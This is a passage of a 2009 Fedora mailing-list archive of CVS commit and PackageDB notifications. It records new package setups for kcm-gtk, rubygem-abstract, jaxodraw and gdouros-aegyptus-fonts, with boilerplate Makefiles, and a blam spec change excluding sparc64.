	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:05:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:05:45 +0000 (UTC)
Subject: rpms/perl-Nagios-NSCA/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091026200545.DECA511C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Nagios-NSCA/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsVA2580/rpms/perl-Nagios-NSCA/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module perl-Nagios-NSCA


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: perl-Nagios-NSCA
# $Id: Makefile,v 1.1 2009/10/26 20:05:45 kevin Exp $
NAME := perl-Nagios-NSCA
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 26 20:06:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:06:00 +0000
Subject: [pkgdb] kcm-gtk was added for rdieter
Message-ID: <20091026200600.DA2AF10F89C@bastion2.fedora.phx.redhat.com>

kevin has added Package kcm-gtk with summary Configure the appearance of GTK apps in KDE
kevin has approved Package kcm-gtk
kevin has added a Fedora devel branch for kcm-gtk with an owner of rdieter
kevin has approved kcm-gtk in Fedora devel
kevin has approved Package kcm-gtk
kevin has set commit to Approved for 107427 on kcm-gtk (Fedora devel)
kevin has set checkout to Approved for 107427 on kcm-gtk (Fedora devel)
kevin has set build to Approved for 107427 on kcm-gtk (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kcm-gtk



From pkgdb at fedoraproject.org  Mon Oct 26 20:06:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:06:02 +0000
Subject: [pkgdb] kcm-gtk summary updated by kevin
Message-ID: <20091026200602.377F210F8A4@bastion2.fedora.phx.redhat.com>

kevin set package kcm-gtk summary to Configure the appearance of GTK apps in KDE

To make changes to this package see:
  /pkgdb/packages/name/kcm-gtk



From pkgdb at fedoraproject.org  Mon Oct 26 20:06:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:06:02 +0000
Subject: [pkgdb] kcm-gtk (Fedora, 11) updated by kevin
Message-ID: <20091026200602.461DB10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for kcm-gtk
kevin has set commit to Approved for 107427 on kcm-gtk (Fedora 11)
kevin has set checkout to Approved for 107427 on kcm-gtk (Fedora 11)
kevin has set build to Approved for 107427 on kcm-gtk (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kcm-gtk



From pkgdb at fedoraproject.org  Mon Oct 26 20:06:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:06:02 +0000
Subject: [pkgdb] kcm-gtk (Fedora, 11) updated by kevin
Message-ID: <20091026200602.4EF7010F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for kcm-gtk
kevin has set commit to Approved for 107427 on kcm-gtk (Fedora 12)
kevin has set checkout to Approved for 107427 on kcm-gtk (Fedora 12)
kevin has set build to Approved for 107427 on kcm-gtk (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/kcm-gtk



From kevin at fedoraproject.org  Mon Oct 26 20:06:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:06:11 +0000 (UTC)
Subject: rpms/kcm-gtk - New directory
Message-ID: <20091026200611.152F311C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/kcm-gtk
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsEY3017/rpms/kcm-gtk

Log Message:
Directory /cvs/pkgs/rpms/kcm-gtk added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:06:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:06:11 +0000 (UTC)
Subject: rpms/kcm-gtk/devel - New directory
Message-ID: <20091026200611.3AA0D11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/kcm-gtk/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsEY3017/rpms/kcm-gtk/devel

Log Message:
Directory /cvs/pkgs/rpms/kcm-gtk/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:06:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:06:18 +0000 (UTC)
Subject: rpms/kcm-gtk Makefile,NONE,1.1
Message-ID: <20091026200618.A785D11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/kcm-gtk
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsEY3017/rpms/kcm-gtk

Added Files:
	Makefile 
Log Message:
Setup of module kcm-gtk


--- NEW FILE Makefile ---
# Top level Makefile for module kcm-gtk
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:06:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:06:19 +0000 (UTC)
Subject: rpms/kcm-gtk/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091026200619.0E5EE11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/kcm-gtk/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsEY3017/rpms/kcm-gtk/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module kcm-gtk


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: kcm-gtk
# $Id: Makefile,v 1.1 2009/10/26 20:06:18 kevin Exp $
NAME := kcm-gtk
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From ausil at fedoraproject.org  Mon Oct 26 20:08:00 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:08:00 +0000 (UTC)
Subject: rpms/blam/F-12 blam.spec,1.34,1.35
Message-ID: <20091026200800.3CC2A11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/blam/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3544

Modified Files:
	blam.spec 
Log Message:
ExcludeArch sparc64



Index: blam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blam/F-12/blam.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- blam.spec	11 Sep 2009 07:50:08 -0000	1.34
+++ blam.spec	26 Oct 2009 20:07:59 -0000	1.35
@@ -5,7 +5,7 @@
 
 Name:		blam
 Version:	1.8.5
-Release:	17%{?dist}
+Release:	18%{?dist}
 Summary:	An RSS/RDF feed reader
 
 Group:		Applications/Internet
@@ -24,7 +24,7 @@ Patch6:		blam-1.8.5-gnome-print-sharp.pa
  
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ## Various Mono dependencies are not available for ppc64; see bug 241850.
-ExcludeArch:	ppc64
+ExcludeArch:	ppc64 sparc64
 
 ## gecko-libs is not strictly required, as gecko-sharp2 should pull it in.
 ## We hardcode a dependency for it anyway so that we fail if not building or
@@ -138,6 +138,9 @@ update-desktop-database &> /dev/null ||:
 %{_mandir}/man?/%{name}.1*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.8.5-18
+- ExcludeArch sparc64
+
 * Fri Sep 11 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-17
 - Rebuild against newer gecko
 



From pkgdb at fedoraproject.org  Mon Oct 26 20:08:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:08:13 +0000
Subject: [pkgdb] rubygem-abstract was added for mkent
Message-ID: <20091026200813.F00FC10F89A@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-abstract with summary Allows you to define an abstract method in Ruby
kevin has approved Package rubygem-abstract
kevin has added a Fedora devel branch for rubygem-abstract with an owner of mkent
kevin has approved rubygem-abstract in Fedora devel
kevin has approved Package rubygem-abstract
kevin has set commit to Approved for 107427 on rubygem-abstract (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-abstract (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-abstract (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-abstract



From pkgdb at fedoraproject.org  Mon Oct 26 20:08:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:08:15 +0000
Subject: [pkgdb] rubygem-abstract summary updated by kevin
Message-ID: <20091026200815.CA36310F89C@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-abstract summary to Allows you to define an abstract method in Ruby

To make changes to this package see:
  /pkgdb/packages/name/rubygem-abstract



From pkgdb at fedoraproject.org  Mon Oct 26 20:08:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:08:15 +0000
Subject: [pkgdb] rubygem-abstract (Fedora, 11) updated by kevin
Message-ID: <20091026200815.D797A10F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-abstract
kevin has set commit to Approved for 107427 on rubygem-abstract (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-abstract (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-abstract (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-abstract



From pkgdb at fedoraproject.org  Mon Oct 26 20:08:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:08:15 +0000
Subject: [pkgdb] rubygem-abstract (Fedora, 11) updated by kevin
Message-ID: <20091026200815.EA46A10F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-abstract
kevin has set commit to Approved for 107427 on rubygem-abstract (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-abstract (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-abstract (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-abstract



From kevin at fedoraproject.org  Mon Oct 26 20:08:23 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:08:23 +0000 (UTC)
Subject: rpms/rubygem-abstract - New directory
Message-ID: <20091026200823.145B611C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-abstract
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsDj3700/rpms/rubygem-abstract

Log Message:
Directory /cvs/pkgs/rpms/rubygem-abstract added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:08:23 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:08:23 +0000 (UTC)
Subject: rpms/rubygem-abstract/devel - New directory
Message-ID: <20091026200823.3576511C02A1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-abstract/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsDj3700/rpms/rubygem-abstract/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-abstract/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:08:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:08:30 +0000 (UTC)
Subject: rpms/rubygem-abstract Makefile,NONE,1.1
Message-ID: <20091026200830.3451111C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-abstract
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsDj3700/rpms/rubygem-abstract

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-abstract


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-abstract
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:08:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:08:30 +0000 (UTC)
Subject: rpms/rubygem-abstract/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091026200830.6FCDF11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-abstract/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsDj3700/rpms/rubygem-abstract/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-abstract


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-abstract
# $Id: Makefile,v 1.1 2009/10/26 20:08:30 kevin Exp $
NAME := rubygem-abstract
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 26 20:08:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:08:53 +0000
Subject: [pkgdb] jaxodraw was added for jussilehtola
Message-ID: <20091026200853.69D1310F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package jaxodraw with summary A Java program for drawing Feynman diagrams
kevin has approved Package jaxodraw
kevin has added a Fedora devel branch for jaxodraw with an owner of jussilehtola
kevin has approved jaxodraw in Fedora devel
kevin has approved Package jaxodraw
kevin has set commit to Approved for 107427 on jaxodraw (Fedora devel)
kevin has set checkout to Approved for 107427 on jaxodraw (Fedora devel)
kevin has set build to Approved for 107427 on jaxodraw (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/jaxodraw



From pkgdb at fedoraproject.org  Mon Oct 26 20:08:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:08:54 +0000
Subject: [pkgdb] jaxodraw summary updated by kevin
Message-ID: <20091026200855.0469010F88B@bastion2.fedora.phx.redhat.com>

kevin set package jaxodraw summary to A Java program for drawing Feynman diagrams

To make changes to this package see:
  /pkgdb/packages/name/jaxodraw



From pkgdb at fedoraproject.org  Mon Oct 26 20:08:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:08:54 +0000
Subject: [pkgdb] jaxodraw (Fedora, 11) updated by kevin
Message-ID: <20091026200855.1E8BA10F89C@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for jaxodraw
kevin has set commit to Approved for 107427 on jaxodraw (Fedora 11)
kevin has set checkout to Approved for 107427 on jaxodraw (Fedora 11)
kevin has set build to Approved for 107427 on jaxodraw (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/jaxodraw



From pkgdb at fedoraproject.org  Mon Oct 26 20:08:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:08:54 +0000
Subject: [pkgdb] jaxodraw (Fedora, 11) updated by kevin
Message-ID: <20091026200855.4130510F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for jaxodraw
kevin has set commit to Approved for 107427 on jaxodraw (Fedora 12)
kevin has set checkout to Approved for 107427 on jaxodraw (Fedora 12)
kevin has set build to Approved for 107427 on jaxodraw (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/jaxodraw



From kevin at fedoraproject.org  Mon Oct 26 20:09:02 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:09:02 +0000 (UTC)
Subject: rpms/jaxodraw - New directory
Message-ID: <20091026200902.12C5B11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/jaxodraw
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQM3977/rpms/jaxodraw

Log Message:
Directory /cvs/pkgs/rpms/jaxodraw added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:09:02 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:09:02 +0000 (UTC)
Subject: rpms/jaxodraw/devel - New directory
Message-ID: <20091026200902.34A1811C0268@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/jaxodraw/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQM3977/rpms/jaxodraw/devel

Log Message:
Directory /cvs/pkgs/rpms/jaxodraw/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:09:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:09:09 +0000 (UTC)
Subject: rpms/jaxodraw Makefile,NONE,1.1
Message-ID: <20091026200909.2970011C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/jaxodraw
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQM3977/rpms/jaxodraw

Added Files:
	Makefile 
Log Message:
Setup of module jaxodraw


--- NEW FILE Makefile ---
# Top level Makefile for module jaxodraw
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:09:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:09:09 +0000 (UTC)
Subject: rpms/jaxodraw/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091026200909.619A611C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/jaxodraw/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQM3977/rpms/jaxodraw/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module jaxodraw


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: jaxodraw
# $Id: Makefile,v 1.1 2009/10/26 20:09:09 kevin Exp $
NAME := jaxodraw
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 26 20:10:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:10:53 +0000
Subject: [pkgdb] gdouros-aegyptus-fonts was added for ozamosi
Message-ID: <20091026201053.9663210F8A3@bastion2.fedora.phx.redhat.com>

kevin has added Package gdouros-aegyptus-fonts with summary A font for Egyptian hieroglyphs
kevin has approved Package gdouros-aegyptus-fonts
kevin has added a Fedora devel branch for gdouros-aegyptus-fonts with an owner of ozamosi
kevin has approved gdouros-aegyptus-fonts in Fedora devel
kevin has approved Package gdouros-aegyptus-fonts
kevin has set commit to Approved for 107427 on gdouros-aegyptus-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on gdouros-aegyptus-fonts (Fedora devel)
kevin has set build to Approved for 107427 on gdouros-aegyptus-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gdouros-aegyptus-fonts



From pkgdb at fedoraproject.org  Mon Oct 26 20:10:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:10:55 +0000
Subject: [pkgdb] gdouros-aegyptus-fonts summary updated by kevin
Message-ID: <20091026201055.593C910F8A8@bastion2.fedora.phx.redhat.com>

kevin set package gdouros-aegyptus-fonts summary to A font for Egyptian hieroglyphs

To make changes to this package see:
  /pkgdb/packages/name/gdouros-aegyptus-fonts



From pkgdb at fedoraproject.org  Mon Oct 26 20:10:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:10:55 +0000
Subject: [pkgdb] gdouros-aegyptus-fonts (Fedora, 11) updated by kevin
Message-ID: <20091026201055.6022E10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for gdouros-aegyptus-fonts
kevin has set commit to Approved for 107427 on gdouros-aegyptus-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on gdouros-aegyptus-fonts (Fedora 11)
kevin has set build to Approved for 107427 on gdouros-aegyptus-fonts (Fedora 11)
kevin approved watchbugzilla on gdouros-aegyptus-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on gdouros-aegyptus-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gdouros-aegyptus-fonts



From pkgdb at fedoraproject.org  Mon Oct 26 20:10:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:10:55 +0000
Subject: [pkgdb] gdouros-aegyptus-fonts (Fedora, 11) updated by kevin
Message-ID: <20091026201055.6768010F8B1@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on gdouros-aegyptus-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on gdouros-aegyptus-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gdouros-aegyptus-fonts



From pkgdb at fedoraproject.org  Mon Oct 26 20:10:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:10:55 +0000
Subject: [pkgdb] gdouros-aegyptus-fonts (Fedora, 11) updated by kevin
Message-ID: <20091026201055.7227610F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for gdouros-aegyptus-fonts
kevin has set commit to Approved for 107427 on gdouros-aegyptus-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on gdouros-aegyptus-fonts (Fedora 12)
kevin has set build to Approved for 107427 on gdouros-aegyptus-fonts (Fedora 12)
kevin approved watchbugzilla on gdouros-aegyptus-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on gdouros-aegyptus-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gdouros-aegyptus-fonts



From kevin at fedoraproject.org  Mon Oct 26 20:11:14 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:11:14 +0000 (UTC)
Subject: rpms/gdouros-aegyptus-fonts - New directory
Message-ID: <20091026201114.C373B11C043A@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdouros-aegyptus-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsPh4859/rpms/gdouros-aegyptus-fonts

Log Message:
Directory /cvs/pkgs/rpms/gdouros-aegyptus-fonts added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:11:15 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:11:15 +0000 (UTC)
Subject: rpms/gdouros-aegyptus-fonts/devel - New directory
Message-ID: <20091026201115.2CD3E11C04BA@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdouros-aegyptus-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsPh4859/rpms/gdouros-aegyptus-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/gdouros-aegyptus-fonts/devel added to the repository




From ausil at fedoraproject.org  Mon Oct 26 20:11:23 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:11:23 +0000 (UTC)
Subject: rpms/blam/devel blam.spec,1.34,1.35
Message-ID: <20091026201123.A987811C02C6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/blam/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3911

Modified Files:
	blam.spec 
Log Message:
Exclude sparc64



Index: blam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blam/devel/blam.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- blam.spec	11 Sep 2009 07:50:08 -0000	1.34
+++ blam.spec	26 Oct 2009 20:11:23 -0000	1.35
@@ -5,7 +5,7 @@
 
 Name:		blam
 Version:	1.8.5
-Release:	17%{?dist}
+Release:	18%{?dist}
 Summary:	An RSS/RDF feed reader
 
 Group:		Applications/Internet
@@ -24,7 +24,7 @@ Patch6:		blam-1.8.5-gnome-print-sharp.pa
  
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ## Various Mono dependencies are not available for ppc64; see bug 241850.
-ExcludeArch:	ppc64
+ExcludeArch:	ppc64 sparc64
 
 ## gecko-libs is not strictly required, as gecko-sharp2 should pull it in.
 ## We hardcode a dependency for it anyway so that we fail if not building or
@@ -138,6 +138,9 @@ update-desktop-database &> /dev/null ||:
 %{_mandir}/man?/%{name}.1*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.8.5-18
+- ExcludeArch sparc64
+
 * Fri Sep 11 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-17
 - Rebuild against newer gecko
 



From kevin at fedoraproject.org  Mon Oct 26 20:11:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:11:30 +0000 (UTC)
Subject: rpms/gdouros-aegyptus-fonts Makefile,NONE,1.1
Message-ID: <20091026201130.BA65111C02C6@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdouros-aegyptus-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsPh4859/rpms/gdouros-aegyptus-fonts

Added Files:
	Makefile 
Log Message:
Setup of module gdouros-aegyptus-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module gdouros-aegyptus-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:11:31 2009
